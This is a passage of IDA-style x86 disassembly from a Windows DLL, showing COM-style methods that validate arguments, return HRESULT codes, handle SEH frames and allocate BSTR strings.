push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44D05: ; DATA XREF: .text:69B44D50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B44D1D: ; CODE XREF: sub_69B44C4C+65j
; sub_69B44C4C+A5j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B44D3D: ; CODE XREF: sub_69B44C4C+1Ej
call sub_69B1853C
retn 18h
sub_69B44C4C endp
; ---------------------------------------------------------------------------
align 4
dword_69B44D48 dd 0FFFFFFFFh dd offset loc_69B44CFC
dd offset loc_69B44D05
; =============== S U B R O U T I N E =======================================
sub_69B44D54 proc near ; DATA XREF: .text:69B12634o
push 34h
push offset dword_69B44E58
call sub_69B19C5C
mov esi, [ebp+10h]
xor ebx, ebx
cmp esi, ebx
jnz short loc_69B44D73
mov eax, 80070057h
jmp loc_69B44E4E
; ---------------------------------------------------------------------------
loc_69B44D73: ; CODE XREF: sub_69B44D54+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B44D8A
mov eax, 80004005h
jmp loc_69B44E4E
; ---------------------------------------------------------------------------
loc_69B44D8A: ; CODE XREF: sub_69B44D54+2Aj
mov edi, [ebp+8]
push dword ptr [edi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [edi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-30h], ebx
mov [esi], bx
mov [esi+8], ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F266
mov [ebp-34h], eax
mov edi, [edi+18h]
mov [ebp-38h], edi
mov ebx, [edi]
push eax
call sub_69B1A2EC
push eax
mov ecx, edi
call dword ptr [ebx+0A4h]
mov [ebp-3Ch], eax
test eax, eax
jnz short loc_69B44DE9
mov dword ptr [ebp-30h], 1
jmp short loc_69B44E2E
; ---------------------------------------------------------------------------
loc_69B44DE9: ; CODE XREF: sub_69B44D54+8Aj
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-40h], eax
mov word ptr [esi], 8
mov ecx, [eax+0Ch]
mov [ebp-44h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+8], eax
jmp short loc_69B44E2E
; ---------------------------------------------------------------------------
loc_69B44E0D: ; DATA XREF: .text:69B44E5Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44E16: ; DATA XREF: .text:69B44E60o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B44E2E: ; CODE XREF: sub_69B44D54+93j
; sub_69B44D54+B7j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B44E4E: ; CODE XREF: sub_69B44D54+1Aj
; sub_69B44D54+31j
call sub_69B1853C
retn 0Ch
sub_69B44D54 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B44E58 dd 0FFFFFFFFh dd offset loc_69B44E0D
dd offset loc_69B44E16
; =============== S U B R O U T I N E =======================================
sub_69B44E64 proc near ; DATA XREF: .text:69B12638o
push 2Ch
push offset dword_69B44F48
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B44E87
mov eax, 80004005h
jmp loc_69B44F40
; ---------------------------------------------------------------------------
loc_69B44E87: ; CODE XREF: sub_69B44E64+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
and dword ptr [ebp-30h], 0
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-34h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
jle short loc_69B44ECB
cmp eax, 2
jle short loc_69B44EC2
cmp eax, 6
jnz short loc_69B44ECB
loc_69B44EC2: ; CODE XREF: sub_69B44E64+57j
mov dword ptr [ebp-30h], 80004001h
jmp short loc_69B44F20
; ---------------------------------------------------------------------------
loc_69B44ECB: ; CODE XREF: sub_69B44E64+52j
; sub_69B44E64+5Cj
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F266
push eax
call sub_69B1A2EC
mov [ebp-38h], eax
mov ecx, [esi+18h]
mov [ebp-3Ch], ecx
mov edx, [ecx]
push eax
call dword ptr [edx+0B0h]
test eax, eax
jnz short loc_69B44F20
mov dword ptr [ebp-30h], 1
jmp short loc_69B44F20
; ---------------------------------------------------------------------------
loc_69B44EFF: ; DATA XREF: .text:69B44F4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44F08: ; DATA XREF: .text:69B44F50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B44F20: ; CODE XREF: sub_69B44E64+65j
; sub_69B44E64+90j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B44F40: ; CODE XREF: sub_69B44E64+1Ej
call sub_69B1853C
retn 8
sub_69B44E64 endp
; ---------------------------------------------------------------------------
dword_69B44F48 dd 0FFFFFFFFh dd offset loc_69B44EFF
dd offset loc_69B44F08
; =============== S U B R O U T I N E =======================================
sub_69B44F54 proc near ; DATA XREF: .text:69B12640o
push 28h
push offset dword_69B45060
call sub_69B19C5C
mov ebx, [ebp+0Ch]
xor edi, edi
cmp ebx, edi
jnz short loc_69B44F73
mov eax, 80070057h
jmp loc_69B45053
; ---------------------------------------------------------------------------
loc_69B44F73: ; CODE XREF: sub_69B44F54+13j
mov [ebx], edi
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B44F8C
mov eax, 80004005h
jmp loc_69B45053
; ---------------------------------------------------------------------------
loc_69B44F8C: ; CODE XREF: sub_69B44F54+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], edi
push dword ptr [esi+18h]
lea ecx, [ebp-30h]
call sub_69B44112
mov [ebp-4], edi
push 6
pop ecx
mov [ebp-34h], ecx
mov esi, [esi+18h]
mov [ebp-38h], esi
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
sub eax, edi
jz short loc_69B45008
dec eax
jz short loc_69B44FFF
dec eax
jz short loc_69B44FF6
dec eax
jz short loc_69B44FED
dec eax
jz short loc_69B44FE4
dec eax
jz short loc_69B44FDB
dec eax
jz short loc_69B44FFF
mov [ebp-34h], ecx
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B44FDB: ; CODE XREF: sub_69B44F54+7Dj
mov dword ptr [ebp-34h], 5
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B44FE4: ; CODE XREF: sub_69B44F54+7Aj
mov dword ptr [ebp-34h], 4
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B44FED: ; CODE XREF: sub_69B44F54+77j
mov dword ptr [ebp-34h], 3
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B44FF6: ; CODE XREF: sub_69B44F54+74j
mov dword ptr [ebp-34h], 2
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B44FFF: ; CODE XREF: sub_69B44F54+71j
; sub_69B44F54+80j
mov dword ptr [ebp-34h], 1
jmp short loc_69B4500B
; ---------------------------------------------------------------------------
loc_69B45008: ; CODE XREF: sub_69B44F54+6Ej
mov [ebp-34h], edi
loc_69B4500B: ; CODE XREF: sub_69B44F54+85j
; sub_69B44F54+8Ej ...
mov eax, [ebp-34h]
mov [ebx], eax
jmp short loc_69B45033
; ---------------------------------------------------------------------------
loc_69B45012: ; DATA XREF: .text:69B45064o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4501B: ; DATA XREF: .text:69B45068o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B45033: ; CODE XREF: sub_69B44F54+BCj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B45053: ; CODE XREF: sub_69B44F54+1Aj
; sub_69B44F54+33j
call sub_69B1853C
retn 8
sub_69B44F54 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B45060 dd 0FFFFFFFFh dd offset loc_69B45012
dd offset loc_69B4501B
; =============== S U B R O U T I N E =======================================
sub_69B4506C proc near ; DATA XREF: .text:69B12644o
push 38h
push offset dword_69B45168
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B4508B
mov eax, 80070057h
jmp loc_69B45159
; ---------------------------------------------------------------------------
loc_69B4508B: ; CODE XREF: sub_69B4506C+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B450A4
mov eax, 80004005h
jmp loc_69B45159
; ---------------------------------------------------------------------------
loc_69B450A4: ; CODE XREF: sub_69B4506C+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-4], ebx
mov esi, [esi+18h]
mov eax, esi
mov [ebp-30h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
mov [ebp-34h], eax
cmp eax, 4
jnz short loc_69B450E2
mov ebx, 80004001h
mov [ebp-38h], ebx
jmp short loc_69B4513A
; ---------------------------------------------------------------------------
loc_69B450E2: ; CODE XREF: sub_69B4506C+6Aj
cmp dword ptr [ebp-34h], 12h
jnz short loc_69B450EC
mov [edi], ebx
jmp short loc_69B4513A
; ---------------------------------------------------------------------------
loc_69B450EC: ; CODE XREF: sub_69B4506C+7Aj
mov [ebp-3Ch], esi
mov [ebp-40h], esi
push ebx
push ebx
mov ecx, esi
call sub_69B4A201
push eax
mov ecx, esi
call sub_69B4AAFC
mov [ebp-44h], eax
mov ecx, [eax+0Ch]
mov [ebp-48h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B4513A
; ---------------------------------------------------------------------------
loc_69B4511A: ; DATA XREF: .text:69B4516Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B45123: ; DATA XREF: .text:69B45170o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B4513A: ; CODE XREF: sub_69B4506C+74j
; sub_69B4506C+7Ej ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B45159: ; CODE XREF: sub_69B4506C+1Aj
; sub_69B4506C+33j
call sub_69B1853C
retn 8
sub_69B4506C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B45168 dd 0FFFFFFFFh dd offset loc_69B4511A
dd offset loc_69B45123
; =============== S U B R O U T I N E =======================================
sub_69B45174 proc near ; DATA XREF: .text:69B12648o
push 2Ch
push offset dword_69B45240
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B45199
mov eax, 80004005h
jmp loc_69B45236
; ---------------------------------------------------------------------------
loc_69B45199: ; CODE XREF: sub_69B45174+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-4], edi
mov eax, [esi+18h]
mov [ebp-30h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
jle short loc_69B451ED
cmp eax, 2
jle short loc_69B451D4
cmp eax, 4
jle short loc_69B451ED
cmp eax, 6
jg short loc_69B451ED
loc_69B451D4: ; CODE XREF: sub_69B45174+54j
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-34h], eax
mov ecx, [esi+18h]
mov [ebp-38h], ecx
mov edx, [ecx]
push eax
call dword ptr [edx+5Ch]
jmp short loc_69B45217
; ---------------------------------------------------------------------------
loc_69B451ED: ; CODE XREF: sub_69B45174+4Fj
; sub_69B45174+59j ...
mov edi, 80004001h
mov [ebp-3Ch], edi
jmp short loc_69B45217
; ---------------------------------------------------------------------------
loc_69B451F7: ; DATA XREF: .text:69B45244o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B45200: ; DATA XREF: .text:69B45248o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B45217: ; CODE XREF: sub_69B45174+77j
; sub_69B45174+81j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B45236: ; CODE XREF: sub_69B45174+20j
call sub_69B1853C
retn 8
sub_69B45174 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B45240 dd 0FFFFFFFFh dd offset loc_69B451F7
dd offset loc_69B45200
; =============== S U B R O U T I N E =======================================
sub_69B4524C proc near ; DATA XREF: .text:69B1264Co
push 24h
push offset dword_69B45320
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B45271
mov eax, 80004005h
jmp loc_69B45311
; ---------------------------------------------------------------------------
loc_69B45271: ; CODE XREF: sub_69B4524C+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
cmp [ebp+0Ch], edi
jnz short loc_69B452B0
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B45311
; ---------------------------------------------------------------------------
loc_69B452B0: ; CODE XREF: sub_69B4524C+42j
mov [ebp-4], edi
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov [ebp-30h], eax
mov ecx, [esi+18h]
mov [ebp-34h], ecx
mov edx, [ecx]
push dword ptr [ebp+10h]
push eax
call dword ptr [edx+80h]
jmp short loc_69B452F2
; ---------------------------------------------------------------------------
loc_69B452D2: ; DATA XREF: .text:69B45324o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B452DB: ; DATA XREF: .text:69B45328o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B452F2: ; CODE XREF: sub_69B4524C+84j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B45311: ; CODE XREF: sub_69B4524C+20j
; sub_69B4524C+62j
call sub_69B1853C
retn 10h
sub_69B4524C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B45320 dd 0FFFFFFFFh dd offset loc_69B452D2
dd offset loc_69B452DB
; =============== S U B R O U T I N E =======================================
sub_69B4532C proc near ; DATA XREF: .text:69B12650o
push 24h
push offset dword_69B453F8
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
xor edi, edi
cmp ebx, edi
jnz short loc_69B45353
mov eax, 80004005h
jmp loc_69B453EE
; ---------------------------------------------------------------------------
loc_69B45353: ; CODE XREF: sub_69B4532C+1Bj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push ebx
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
cmp [ebp+0Ch], edi
jnz short loc_69B45390
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B453EE
; ---------------------------------------------------------------------------
loc_69B45390: ; CODE XREF: sub_69B4532C+44j
mov [ebp-4], edi
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov [ebp-30h], eax
mov ecx, [esi+18h]
mov [ebp-34h], ecx
mov edx, [ecx]
push eax
call dword ptr [edx+84h]
jmp short loc_69B453CF
; ---------------------------------------------------------------------------
loc_69B453AF: ; DATA XREF: .text:69B453FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B453B8: ; DATA XREF: .text:69B45400o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B453CF: ; CODE XREF: sub_69B4532C+81j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B453EE: ; CODE XREF: sub_69B4532C+22j
; sub_69B4532C+62j
call sub_69B1853C
retn 8
sub_69B4532C endp
; ---------------------------------------------------------------------------
align 4
dword_69B453F8 dd 0FFFFFFFFh dd offset loc_69B453AF
dd offset loc_69B453B8
; =============== S U B R O U T I N E =======================================
sub_69B45404 proc near ; DATA XREF: .text:69B1269Co
push 30h
push offset dword_69B45508
call sub_69B19C5C
mov ebx, [ebp+0Ch]
xor edi, edi
cmp ebx, edi
jnz short loc_69B45423
mov eax, 80070057h
jmp loc_69B454FA
; ---------------------------------------------------------------------------
loc_69B45423: ; CODE XREF: sub_69B45404+13j
mov [ebx], edi
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B4543C
mov eax, 80004005h
jmp loc_69B454FA
; ---------------------------------------------------------------------------
loc_69B4543C: ; CODE XREF: sub_69B45404+2Cj
mov esi, [ebp+8]
push dword ptr [esi+1Ch]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], edi
mov [ebp-30h], edi
push dword ptr [esi+1Ch]
lea ecx, [ebp-34h]
call sub_69B44112
mov [ebp-4], edi
mov ecx, [esi+1Ch]
mov eax, [ecx]
call dword ptr [eax+44h]
dec eax
dec eax
jz short loc_69B45495
sub eax, 3
jz short loc_69B45495
mov [ebp-38h], edi
mov edi, [esi+1Ch]
mov [ebp-3Ch], edi
loc_69B45479: ; CODE XREF: sub_69B45404+8Fj
mov eax, [esi+20h]
mov [ebp-40h], eax
push eax
lea eax, [ebp-38h]
push eax
push edi
mov ecx, esi
call sub_69B43E7F
test eax, eax
jz short loc_69B45495
inc dword ptr [ebp-30h]
jmp short loc_69B45479
; ---------------------------------------------------------------------------
loc_69B45495: ; CODE XREF: sub_69B45404+65j
; sub_69B45404+6Aj ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B454C3
; ---------------------------------------------------------------------------
loc_69B4549B: ; DATA XREF: .text:69B4550Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B454A4: ; DATA XREF: .text:69B45510o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp+0Ch]
loc_69B454C3: ; CODE XREF: sub_69B45404+95j
cmp dword ptr [ebp-2Ch], 8000000Ah
jnz short loc_69B454D3
mov dword ptr [ebp-2Ch], 1
loc_69B454D3: ; CODE XREF: sub_69B45404+C6j
mov eax, [ebp-30h]
mov [ebx], eax
lea ecx, [ebp-34h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B454F7
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B454F7: ; CODE XREF: sub_69B45404+E8j
mov eax, [ebp-2Ch]
loc_69B454FA: ; CODE XREF: sub_69B45404+1Aj
; sub_69B45404+33j
call sub_69B1853C
retn 8
sub_69B45404 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B45508 dd 0FFFFFFFFh dd offset loc_69B4549B
dd offset loc_69B454A4
; =============== S U B R O U T I N E =======================================
sub_69B45514 proc near ; CODE XREF: sub_69B45B17+5j
; DATA XREF: .text:69B126A0o
push 24h
push offset dword_69B455F0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B45533
mov eax, 80070057h
jmp loc_69B455E2
; ---------------------------------------------------------------------------
loc_69B45533: ; CODE XREF: sub_69B45514+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B4554C
mov eax, 80004005h
jmp loc_69B455E2
; ---------------------------------------------------------------------------
loc_69B4554C: ; CODE XREF: sub_69B45514+2Cj
mov esi, [ebp+8]
push dword ptr [esi+1Ch]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+1Ch]
lea ecx, [ebp-2Ch]
call sub_69B44112
and dword ptr [ebp-4], 0
mov ecx, [esi+1Ch]
mov eax, [ecx]
call dword ptr [eax+0B4h]
test eax, eax
jz short loc_69B4558F
mov ecx, [esi+1Ch]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov [ebp-30h], eax
mov eax, [eax+3Ch]
mov [ebp-34h], eax
jmp short loc_69B45594
; ---------------------------------------------------------------------------
loc_69B4558F: ; CODE XREF: sub_69B45514+63j
mov eax, dword_69B95AB0
loc_69B45594: ; CODE XREF: sub_69B45514+79j
push eax
lea eax, [esi+18h]
push eax
push esi
call sub_69B54B2A
mov [edi], eax
jmp short loc_69B455C3
; ---------------------------------------------------------------------------
loc_69B455A3: ; DATA XREF: .text:69B455F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B455AC: ; DATA XREF: .text:69B455F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B455C3: ; CODE XREF: sub_69B45514+8Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B455E2: ; CODE XREF: sub_69B45514+1Aj
; sub_69B45514+33j
call sub_69B1853C
retn 8
sub_69B45514 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B455F0 dd 0FFFFFFFFh dd offset loc_69B455A3
dd offset loc_69B455AC
; =============== S U B R O U T I N E =======================================
sub_69B455FC proc near ; CODE XREF: sub_69B45B90+3p
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
mov dword ptr [esi-0Ch], offset off_69B12658
mov dword ptr [esi-8], offset off_69B28084
mov dword ptr [esi], offset off_69B28080
call sub_69B48B39
lea ecx, [esi-0Ch]
neg ecx
sbb ecx, ecx
and ecx, esi
pop esi
jmp loc_69B88066
sub_69B455FC endp
; =============== S U B R O U T I N E =======================================
sub_69B4562A proc near ; DATA XREF: .text:69B12674o
push 2Ch
push offset dword_69B456F8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B45649
mov eax, 80070057h
jmp loc_69B456EE
; ---------------------------------------------------------------------------
loc_69B45649: ; CODE XREF: sub_69B4562A+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B45662
mov eax, 80004005h
jmp loc_69B456EE
; ---------------------------------------------------------------------------
loc_69B45662: ; CODE XREF: sub_69B4562A+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword_69B95AB0
lea ecx, [ebp-2Ch]
call sub_69B18E23
and dword ptr [ebp-4], 0
mov ecx, [esi+18h]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+38h]
mov [ebp-34h], eax
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-38h], eax
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B456CF
; ---------------------------------------------------------------------------
loc_69B456AF: ; DATA XREF: .text:69B456FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B456B8: ; DATA XREF: .text:69B45700o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B456CF: ; CODE XREF: sub_69B4562A+83j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B456EE: ; CODE XREF: sub_69B4562A+1Aj
; sub_69B4562A+33j
call sub_69B1853C
retn 8
sub_69B4562A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B456F8 dd 0FFFFFFFFh dd offset loc_69B456AF
dd offset loc_69B456B8
; =============== S U B R O U T I N E =======================================
sub_69B45704 proc near ; DATA XREF: .text:69B12678o
push 30h
push offset dword_69B457E0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B45723
mov eax, 80070057h
jmp loc_69B457D2
; ---------------------------------------------------------------------------
loc_69B45723: ; CODE XREF: sub_69B45704+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B4573C
mov eax, 80004005h
jmp loc_69B457D2
; ---------------------------------------------------------------------------
loc_69B4573C: ; CODE XREF: sub_69B45704+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], ebx
push dword_69B95AB0
lea ecx, [ebp-30h]
call sub_69B18E23
mov [ebp-4], ebx
mov esi, [esi+18h]
mov [ebp-34h], esi
mov [ebp-38h], esi
push 1
push ebx
mov ecx, esi
call sub_69B4A201
push eax
mov ecx, esi
call sub_69B4AAFC
mov [ebp-3Ch], eax
mov ecx, [eax+0Ch]
mov [ebp-40h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B457B2
; ---------------------------------------------------------------------------
loc_69B45791: ; DATA XREF: .text:69B457E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4579A: ; DATA XREF: .text:69B457E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B457B2: ; CODE XREF: sub_69B45704+8Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B457D2: ; CODE XREF: sub_69B45704+1Aj
; sub_69B45704+33j
call sub_69B1853C
retn 8
sub_69B45704 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B457E0 dd 0FFFFFFFFh dd offset loc_69B45791
dd offset loc_69B4579A
; =============== S U B R O U T I N E =======================================
sub_69B457EC proc near ; CODE XREF: sub_69B458D3+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B9906C
push off_69B99070
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B457EC endp
; =============== S U B R O U T I N E =======================================
sub_69B4580E proc near ; CODE XREF: sub_69B45A4C+3p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99090
push off_69B99094
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B4580E endp
; =============== S U B R O U T I N E =======================================
